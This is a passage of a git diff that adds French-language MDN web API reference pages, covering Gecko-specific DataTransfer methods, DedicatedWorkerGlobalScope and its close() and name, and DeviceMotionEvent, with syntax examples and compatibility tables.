+<div class="note"><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Note:</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Cette méthode est</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">spécifique à </span></span><span style="line-height: 1.5;">Gecko</span><span style="line-height: 1.5;">.</span></div>
+
+<pre class="eval"> void mozClearDataAt(
+   [optional] in String type,
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Parameters_mozClearDataAt" name="Parameters_mozClearDataAt">Parametres</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>Le type de la donnée à supprimer.</dd>
+ <dt><code>index </code></dt>
+ <dd>L'index de la donnée à supprimer.</dd>
+</dl>
+
+<h3 id="mozGetDataAt.28.29" name="mozGetDataAt.28.29">mozGetDataAt()</h3>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Récupère les données</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">associées au format</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">donné pour</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">un élément</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">à l'index spécifié</span><span title="Cliquer ici pour voir d'autres traductions">,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ou null si elle</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">n'existe pas.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">L'indice devrait être</span> compris entre<span class="hps" title="Cliquer ici pour voir d'autres traductions"> zéro</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">et le nombre</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">d'éléments</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">moins un.</span></span></p>
+
+<div class="note"><strong>Note:</strong> <span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Cette méthode est</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">spécifique à </span></span><span style="line-height: 1.5;">Gecko</span>.</div>
+
+<pre class="eval"> nsIVariant mozGetDataAt(
+   [optional] in String type,
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Parameters_mozClearDataAt" name="Parameters_mozClearDataAt">Parametres</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>Le type de donnée à récupérer.</dd>
+ <dt><code>index </code></dt>
+ <dd>L'indice de la donnée à récupérer.</dd>
+</dl>
+
+<h3 id="mozSetDataAt.28.29" name="mozSetDataAt.28.29">mozSetDataAt()</h3>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Un transfert de données</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">peut stocker</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">plusieurs éléments</span><span title="Cliquer ici pour voir d'autres traductions">, chacun</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">à</span> un <span class="hps" title="Cliquer ici pour voir d'autres traductions">index commençant à zéro</span><span title="Cliquer ici pour voir d'autres traductions">.</span> <code><span class="hps" title="Cliquer ici pour voir d'autres traductions">mozSetDataAt</span><span class="atn hps" title="Cliquer ici pour voir d'autres traductions">(</span></code><span title="Cliquer ici pour voir d'autres traductions"><code>)</code> ne peut être</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">appelé</span> qu'<span class="hps" title="Cliquer ici pour voir d'autres traductions">avec un index</span><span class="hps" title="Cliquer ici pour voir d'autres traductions"> inférieur à</span> <code><span class="hps" title="Cliquer ici pour voir d'autres traductions">mozItemCount,</span></code> <span class="hps" title="Cliquer ici pour voir d'autres traductions">auquel cas</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">un élément existant</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">est modifié,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ou égal à</span> <code><span class="hps" title="Cliquer ici pour voir d'autres traductions">mozItemCount,</span></code> <span class="hps" title="Cliquer ici pour voir d'autres traductions">auquel cas un</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">nouvel élément est ajouté</span><span title="Cliquer ici pour voir d'autres traductions">,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">et </span><code><span class="hps" title="Cliquer ici pour voir d'autres traductions">mozItemCount</span></code> <span class="hps" title="Cliquer ici pour voir d'autres traductions">est incrémenté de un</span><span title="Cliquer ici pour voir d'autres traductions">.</span><br>
+ <br>
+ <span class="hps" title="Cliquer ici pour voir d'autres traductions">Les données doivent</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">être ajoutées</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">par ordre de préférence</span><span title="Cliquer ici pour voir d'autres traductions">,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">avec le format</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">le plus spécifique</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ajouté en premier</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">et le format</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">moins spécifique</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ajouté en dernier.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Si la donnée</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">du format</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">spécifié existe</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">déjà, elle est</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">remplacée dans</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">la même position que</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">la donnée précédente</span><span title="Cliquer ici pour voir d'autres traductions">.</span><br>
+ <br>
+ <span class="hps" title="Cliquer ici pour voir d'autres traductions">La donnée doit</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">être une chaîne</span><span title="Cliquer ici pour voir d'autres traductions">,</span> ou <span class="hps" title="Cliquer ici pour voir d'autres traductions">un type primitif</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">booléen,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ou un type numérique </span><span class="hps" title="Cliquer ici pour voir d'autres traductions">(qui</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">sera converti en</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">une chaîne</span><span title="Cliquer ici pour voir d'autres traductions">), ou</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">une</span></span> <a href="/fr/docs/XPCOM_Interface_Reference/nsISupports">nsISupports</a>.</p>
+
+<div class="note"><strong>Note:</strong> Cette méthode est spécifique à Gecko.</div>
+
+<pre class="eval"> void mozSetDataAt(
+   [optional] in String type,
+   in nsIVariant data,
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Parameters_mozSetDataAt" name="Parameters_mozSetDataAt">Parametres</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>Le type de donnée à ajouter.</dd>
+ <dt><code>data </code></dt>
+ <dd>La donnée à ajouter.</dd>
+ <dt><code>index </code></dt>
+ <dd>L'index de la donnée à ajouter.</dd>
+</dl>
+
+<h3 id="mozTypesAt.28.29" name="mozTypesAt.28.29">mozTypesAt()</h3>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Contient une</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">liste des types de</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">format des données</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">qui sont stockées</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">pour un élément</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">à l'index spécifié</span><span title="Cliquer ici pour voir d'autres traductions">.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Si</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">l'index n'est pas</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">dans compris entre</span><span class="hps" title="Cliquer ici pour voir d'autres traductions"> 0</span> <span class="atn hps" title="Cliquer ici pour voir d'autres traductions">et le nombre d'</span><span title="Cliquer ici pour voir d'autres traductions">éléments</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">moins un,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">une</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">liste de</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">chaîne vide est retournée</span><span title="Cliquer ici pour voir d'autres traductions">.</span></span></p>
+
+<div class="note"><strong>Note:</strong> Cette méthode est spécifique à Gecko.</div>
+
+<pre class="eval"> nsIVariant mozTypesAt(
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Parameters_mozTypesAt" name="Parameters_mozTypesAt">Parameters</h6>
+
+<dl>
+ <dt><code>index </code></dt>
+ <dd>L'index de la donnée pour laquelle récupérer les types.</dd>
+</dl>
+
+<h2 id="See_also" name="See_also">Voir Aussi</h2>
+
+<p><a class="internal" href="/En/DragDrop/Drag_and_Drop" title="Drag and Drop">Drag and Drop</a></p>
diff --git a/files/fr/web/api/dedicatedworkerglobalscope/close/index.html b/files/fr/web/api/dedicatedworkerglobalscope/close/index.html
new file mode 100644
index 0000000000..c698546a65
--- /dev/null
+++ b/files/fr/web/api/dedicatedworkerglobalscope/close/index.html
@@ -0,0 +1,55 @@
+---
+title: DedicatedWorkerGlobalScope.close()
+slug: Web/API/DedicatedWorkerGlobalScope/close
+tags:
+  - API
+  - Arrêter
+  - DOM
+  - Méthodes
+  - Worker
+translation_of: Web/API/DedicatedWorkerGlobalScope/close
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>La méthode <code><strong>close()</strong></code> de l'interface {{domxref("DedicatedWorkerGlobalScope")}} ferme toutes les tâches placées dans la boucle de l'évènement <code>DedicatedWorkerGlobalScope</code>, fermant effectivement cette portée particulière.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">self.close();</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Si vous souhaitez fermer votre instance de travail depuis l'intérieur du worker, vous pouvez appeler ce qui suit :</p>
+
+<pre class="brush: js">close();</pre>
+
+<p><code>close()</code> et <code>self.close()</code> sont effectivement équivalents — les deux représentent une instruction <code>close()</code> qui est appelée de l'intérieur de la portée interne du worker.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Il y a une autre façon d'arrêter le worker depuis le fil principal : la méthode {{domxref("Worker.terminate")}}.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-dedicatedworkerglobalscope-close', 'close()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.DedicatedWorkerGlobalScope.close")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>{{domxref("DedicatedWorkerGlobalScope")}}</p>
diff --git a/files/fr/web/api/dedicatedworkerglobalscope/index.html b/files/fr/web/api/dedicatedworkerglobalscope/index.html
new file mode 100644
index 0000000000..02e85acf6d
--- /dev/null
+++ b/files/fr/web/api/dedicatedworkerglobalscope/index.html
@@ -0,0 +1,114 @@
+---
+title: DedicatedWorkerGlobalScope
+slug: Web/API/DedicatedWorkerGlobalScope
+translation_of: Web/API/DedicatedWorkerGlobalScope
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>L'objet <strong><code>DedicatedWorkerGlobalScope</code></strong> (le contexte global du {{domxref("Worker")}}) est accessible au moyen du mot clé {{domxref("window.self","self")}}. Certaines fonctions globales additionnelles, des espaces de nom d'objets, et des constructeurs, non associés typiquement au contexte global d'un worker, et néanmoins disponibles, sont listés dans la  <a href="/fr/docs/Web/JavaScript/Reference">Référence JavaScript</a>. Consultez aussi : <a href="/fr/docs/Web/Guide/Needs_categorization/Functions_available_to_workers">Fonctions et classes disponibles dans les Web Workers</a>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite des propriétés de l'interface {{domxref("WorkerGlobalScope")}}, et de son parent {{domxref("EventTarget")}}, et implémente ainsi les propriétés de {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, et {{domxref("WindowEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("DedicatedWorkerGlobalScope.name")}} {{readOnlyinline}}</dt>
+ <dd>Le nom du {{domxref("Worker")}} optionnellement donné lors de la création du worker avec le constructeur {{domxref("Worker.Worker", "Worker()")}}. Il est souvent utilisé pour du débogage.</dd>
+</dl>
+
+<h3 id="Propriétés_héritées_de_WorkerGlobalScope">Propriétés héritées de WorkerGlobalScope</h3>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.self")}}</dt>
+ <dd>Retourne une référence d'objet à l'objet <code>DedicatedWorkerGlobalScope</code> lui-même.</dd>
+ <dt>{{domxref("WorkerGlobalScope.console")}} {{readOnlyinline}}</dt>
+ <dd>Retourne la {{domxref("Console")}} associée au worker.</dd>
+ <dt>{{domxref("WorkerGlobalScope.location")}} {{readOnlyinline}}</dt>
+ <dd>Retourne la {{domxref("WorkerLocation")}} associée au worker. <code>WorkerLocation</code> est un objet location spécifique, essentiellement un sous-ensemble de {{domxref("Location")}} utilisé dans le contexte d'un navigateur, mais adapté aux workers.</dd>
+ <dt>{{domxref("WorkerGlobalScope.navigator")}} {{readOnlyinline}}</dt>
+ <dd>Retourne le {{domxref("WorkerNavigator")}} associé au worker. <code>WorkerNavigator</code> est un objet navigator spécifique, essentiellement un sous-ensemble de {{domxref("Navigator")}} utilisé dans le contexte d'un navigateur, mais adapté aux workers.</dd>
+ <dt>{{domxref("WorkerGlobalScope.performance")}} {{readOnlyinline}} {{Non-standard_inline}}</dt>
+ <dd>Retourne l'objet {{domxref("Performance")}} associé au worker, qui correspond à l'objet performance normal, avec seulement à disposition un sous-ensemble de ses propriétés et méthodes.</dd>
+</dl>
+
+<h3 id="Gestionnaires_dévénement">Gestionnaires d'événement</h3>
+
+<p><em>Cette interface hérite des gestionnaires d'événement de l'interface {{domxref("WorkerGlobalScope")}}, et de son parent {{domxref("EventTarget")}}, et implémente ainsi les gestionnaires d'événement de {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, et {{domxref("WindowEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("DedicatedWorkerGlobalScope.onmessage")}}</dt>
+ <dd>C'est un {{domxref("EventHandler")}} représentant le code à appeler lorsqu'un événement {{event("message")}} est déclenché. Ces événements sont du type {{domxref("MessageEvent")}} et sont appelés quand le worker reçoit un message du document qui l'a initialisé (i.e. à partir de la méthode {{domxref("Worker.postMessage")}}.)</dd>
+ <dt>{{domxref("DedicatedWorkerGlobalScope.onmessageerror")}}</dt>
+ <dd>C'est un {{domxref("EventHandler")}} représentant le code à appeler lorsqu'un événement {{event("messageerror")}} est déclenché.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface hérite des méthodes de l'interface {{domxref("WorkerGlobalScope")}}, et de son parent {{domxref("EventTarget")}}, et implémente ainsi les méthodes de {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, et {{domxref("WindowEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.close()")}}</dt>
+ <dd>Annule toute tâche en attente dans la boucle d'événement du <code>WorkerGlobalScope</code>, mettant alors fin à ce contexte précis.</dd>
+ <dt>{{domxref("DedicatedWorkerGlobalScope.postMessage")}}</dt>
+ <dd>Envoie un message — qui peut comprendre  <code>n'importe quel</code> objet JavaScript — au document parent qui a préalablement engendré le worker.</dd>
+</dl>
+
+<h3 id="Héritées_de_WorkerGlobalScope">Héritées de WorkerGlobalScope</h3>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.dump()")}} {{non-standard_inline}}</dt>
+ <dd>Écrit un message dans la console.</dd>
+ <dt>{{domxref("WorkerGlobalScope.importScripts()")}}</dt>
+ <dd>Importe un ou plusieurs scripts dans le contexte du worker. Vous pouvez spécifier autant de fichiers que souhaité, en les séparant par des virgules. Par exemple: <code>importScripts('foo.js', 'bar.js');</code></dd>
+</dl>
+
+<h3 id="Implémentées_à_partir_dautres_endroits">Implémentées à partir d'autres endroits</h3>
+
+<dl>
+ <dt>{{domxref("WindowBase64.atob()")}}</dt>
+ <dd>Décode une chaîne de données qui a été encodée en base-64.</dd>
+ <dt>{{domxref("WindowBase64.btoa()")}}</dt>
+ <dd>Crée une chaîne ASCII en base-64 à partir d'une chaîne de données binaires.</dd>
+ <dt>{{domxref("WindowTimers.clearInterval()")}}</dt>
+ <dd>Annule l'exécution répétée initiée par {{domxref("WindowTimers.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowTimers.clearTimeout()")}}</dt>
+ <dd>Annule l'exécution répété initiée par {{domxref("WindowTimers.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowTimers.setInterval()")}}</dt>
+ <dd>Planifie l'exécution d'une fonction toutes les X millisecondes.</dd>
+ <dt>{{domxref("WindowTimers.setTimeout()")}}</dt>
+ <dd>Fixe un délai pour l'exécution d'une fonction.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dedicatedworkerglobalscope', 'DedicatedWorkerGlobalScope')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.DedicatedWorkerGlobalScope")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Worker")}}</li>
+ <li>{{domxref("WorkerGlobalScope")}}</li>
+ <li><a href="/fr/docs/Web/Guide/Performance/Using_web_workers">Utilisation des web workers</a></li>
+ <li><a href="/fr/docs/Web/Guide/Needs_categorization/Functions_available_to_workers">Fonctions et classes disponibles dans les Web Workers</a></li>
+</ul>
diff --git a/files/fr/web/api/dedicatedworkerglobalscope/name/index.html b/files/fr/web/api/dedicatedworkerglobalscope/name/index.html
new file mode 100644
index 0000000000..fb63f1cc74
--- /dev/null
+++ b/files/fr/web/api/dedicatedworkerglobalscope/name/index.html
@@ -0,0 +1,61 @@
+---
+title: DedicatedWorkerGlobalScope.name
+slug: Web/API/DedicatedWorkerGlobalScope/name
+tags:
+  - API
+  - DOM
+  - Nom
+  - Propriétés
+  - Worker
+translation_of: Web/API/DedicatedWorkerGlobalScope/name
+---
+<div>{{APIRef("Web Workers API")}}</div>
+
+<p>La propriété en lecture seule <code><strong>name</strong></code> de l'interface {{domxref("DedicatedWorkerGlobalScope")}} renvoie le nom qui a été (facultativement) donné au  {{domxref("Worker")}} lors de sa création. C'est le nom que le constructeur {{domxref("Worker.Worker", "Worker()")}} peut transmettre pour obtenir une référence à {{domxref("DedicatedWorkerGlobalScope")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var nameObj = self.name;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une {{domxref("DOMString")}} (<em>chaîne de caractères</em>).</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Un worker est créé en utilisant un constructeur avec une option de <code>name</code> :</p>
+
+<pre class="brush: js">var myWorker = new Worker("worker.js", { name : "myWorker" });</pre>
+
+<p>le {{domxref("DedicatedWorkerGlobalScope")}} aura désormais le nom de "myWorker", qui peut être renvoyé pendant l'exécution</p>
+
+<pre class="brush: js">self.name</pre>
+
+<p>à l'intérieur du worker.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-dedicatedworkerglobalscope-name', 'name')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.DedicatedWorkerGlobalScope.name")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DedicatedWorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/fr/web/api/devicemotionevent/accelerationincludinggravity/index.html b/files/fr/web/api/devicemotionevent/accelerationincludinggravity/index.html
new file mode 100644
index 0000000000..e3b4818e0b
--- /dev/null
+++ b/files/fr/web/api/devicemotionevent/accelerationincludinggravity/index.html
@@ -0,0 +1,121 @@
+---
+title: DeviceMotionEvent.accelerationIncludingGravity
+slug: Web/API/DeviceMotionEvent/accelerationIncludingGravity
+tags:
+  - API
+  - Appareil
+  - Mobile
+  - Mouvement
+  - Orientation
+  - Propriétés
+  - axes
+translation_of: Web/API/DeviceMotionEvent/accelerationIncludingGravity
+---
+<p>{{ ApiRef("Device Orientation Events") }}</p>
+
+<p>La propriété <strong><code>accelerationIncludingGravity</code></strong> renvoie la valeur d'accélération enregistrée par l'appareil, en <a href="https://fr.wikipedia.org/wiki/M%C3%A8tre_par_seconde_carr%C3%A9e" title="https://en.wikipedia.org/wiki/Meter_per_second_squared">mètres par seconde au carré (m/s<sup>2</sup>)</a>. Contrairement à  {{domxref("DeviceMotionEvent.acceleration")}} qui compense pour tenir compte de l'influence de la gravité, sa valeur est la somme de l'accélération <span id="result_box" lang="fr"><span>de l'appareil induite par l'utilisateur et de celle provoquée par la gravité.</span></span></p>
+
+<p>Cette valeur n'est pas  aussi utile que {{domxref("DeviceMotionEvent.acceleration")}}, mais elle peut être la seule disponible, par exemple pour un appareil qui ne peut supprimer la gravité des données d'accélération puisqu'il ne l'utilise pas, comme les périphériques sans gyroscope.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval">var acceleration = <em>instanceOfDeviceMotionEvent</em>.accelerationIncludingGravity;
+</pre>
+
+<h2 id="Example" name="Example">Valeur</h2>
+
+<p>La propriété <code>accelerationIncludingGravity</code> est un objet fournissant une information sur l'accélération des 3 axes. Pour chacun d'eux, elle est représentée par leur propre propriété :</p>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Représente l'accélération <span id="result_box" lang="fr"><span>sur l'axe x qui est l'axe est-ouest.</span></span></dd>
+ <dt><code>y</code></dt>
+ <dd>Représente l'accélération <span id="result_box" lang="fr"><span>sur l'axe </span></span> y qui est l'axe nord-sud</dd>
+ <dt><code>z</code></dt>
+ <dd>Représente l'accélération <span id="result_box" lang="fr"><span>sur l'axe</span></span> z qui est l'axe haut-bas</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("6")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("6")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("DeviceMotionEvent.acceleration") }}</li>
+ <li>{{ event("devicemotion") }}</li>
+ <li>{{ domxref("window.ondevicemotion") }}</li>
+ <li>{{ event("deviceorientation") }}</li>
+ <li>{{ domxref("DeviceOrientationEvent") }}</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/WebAPI/Detecting_device_orientation#Accelerometer_values_explained" title="/en-US/docs/WebAPI/Detecting_device_orientation">Détecter l'orientation de l'appareil</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/Guide/DOM/Events/Les_donn%C3%A9es_d_orientation_et_de_mouvement_expliqu%C3%A9es" title="Orientation and motion data explained">Les données d'orientation et de mouvement expliquées</a></li>
+</ul>
diff --git a/files/fr/web/api/devicemotionevent/devicemotionevent/index.html b/files/fr/web/api/devicemotionevent/devicemotionevent/index.html
new file mode 100644
index 0000000000..7f7d3b73b7
--- /dev/null
+++ b/files/fr/web/api/devicemotionevent/devicemotionevent/index.html
@@ -0,0 +1,107 @@
+---
+title: DeviceMotionEvent.DeviceMotionEvent()
+slug: Web/API/DeviceMotionEvent/DeviceMotionEvent
+tags:
+  - API
+  - Constructeurs
+  - Mobile
+  - Mouvement
+  - Orientation
+  - axes
+translation_of: Web/API/DeviceMotionEvent/DeviceMotionEvent
+---
+<p>{{APIRef("Device Orientation Events")}}{{Non-standard_header}}</p>
+
+<p>Le constructeur <strong><code>DeviceMotionEvent</code></strong> crée un nouveau {{domxref("DeviceMotionEvent")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var deviceMotionEvent = new DeviceMotionEvent(type[, options])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p><em>type</em></p>
+
+<dl>
+ <dd>Doit être <code>"devicemotion"</code>.</dd>
+ <dt><em>options</em> {{optional_inline}}</dt>
+ <dd>Les options sont les suivantes :
+ <ul>
+  <li><code>acceleration</code> : un  objet donnant l'accélération de l'appareil sur les 3 axes X, Y et Z. L'accélération est exprimée en <a href="https://en.wikipedia.org/wiki/Meter_per_second_squared" title="https://en.wikipedia.org/wiki/Meter_per_second_squared">m/s<sup>2</sup></a>.</li>
+  <li><code>accelerationIncludingGravity</code> : un objet donnant l'accélération de l'appareil sur les 3 axes X, Y et Z avec l'effet de la gravité. L'accélération est exprimée en <a href="https://en.wikipedia.org/wiki/Meter_per_second_squared" title="https://en.wikipedia.org/wiki/Meter_per_second_squared">m/s<sup>2</sup></a>.</li>
+  <li><code>rotationRate</code> : un objet donnant la vitesse de rotation du changement d'orientation de l'appareil sur les axes alpha, beta et gamma. La vitesse de rotation est exprimée en degrés par seconde.</li>
+  <li><code>interval</code> : Un nombre représentant l'intervalle de temps, en millisecondes, avant d'obtenir des données à partir de l'appareil.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera()}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
